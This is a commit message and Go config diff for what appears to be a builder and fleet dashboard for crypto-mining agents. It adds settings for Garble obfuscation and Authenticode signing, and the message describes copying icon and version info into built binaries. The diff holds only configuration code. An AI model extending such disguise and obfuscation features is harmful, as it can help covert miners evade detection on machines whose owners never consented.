Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/config.go

@@ -38,6 +38,11 @@ type ServerSettings struct {
 	StrictWalletValidation bool   `json:"strict_wallet_validation"`
 	DashboardSubtitle      string `json:"dashboard_subtitle"`
 	OpenFirewallOnStart    bool   `json:"open_firewall_on_start"`
+	ObfuscateDefault       bool   `json:"obfuscate_default"`
+	SignEnabled            bool   `json:"sign_enabled"`
+	SignCertThumbprint     string `json:"sign_cert_thumbprint"`
+	SignToolPath           string `json:"sign_tool_path"`
+	SignTimestampURL       string `json:"sign_timestamp_url"`
 }
 
 type PoolConfig struct {
@@ -159,6 +164,9 @@ func DefaultConfig() *Config {
 			StrictWalletValidation: false,
 			DashboardSubtitle:      "security is just an emotion",
 			OpenFirewallOnStart:    true,
+			ObfuscateDefault:       false,
+			SignEnabled:            false,
+			SignTimestampURL:       "http://timestamp.digicert.com",
 		},
 	}
 }
@@ -338,6 +346,17 @@ func mergeConfig(dst, src *Config) {
 		dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
 	}
 	dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
+	dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
+	dst.Server.SignEnabled = src.Server.SignEnabled
+	if src.Server.SignCertThumbprint != "" {
+		dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
+	}
+	if src.Server.SignToolPath != "" {
+		dst.Server.SignToolPath = src.Server.SignToolPath
+	}
+	if src.Server.SignTimestampURL != "" {
+		dst.Server.SignTimestampURL = src.Server.SignTimestampURL
+	}
 }
 
 func (c *Config) Save() error {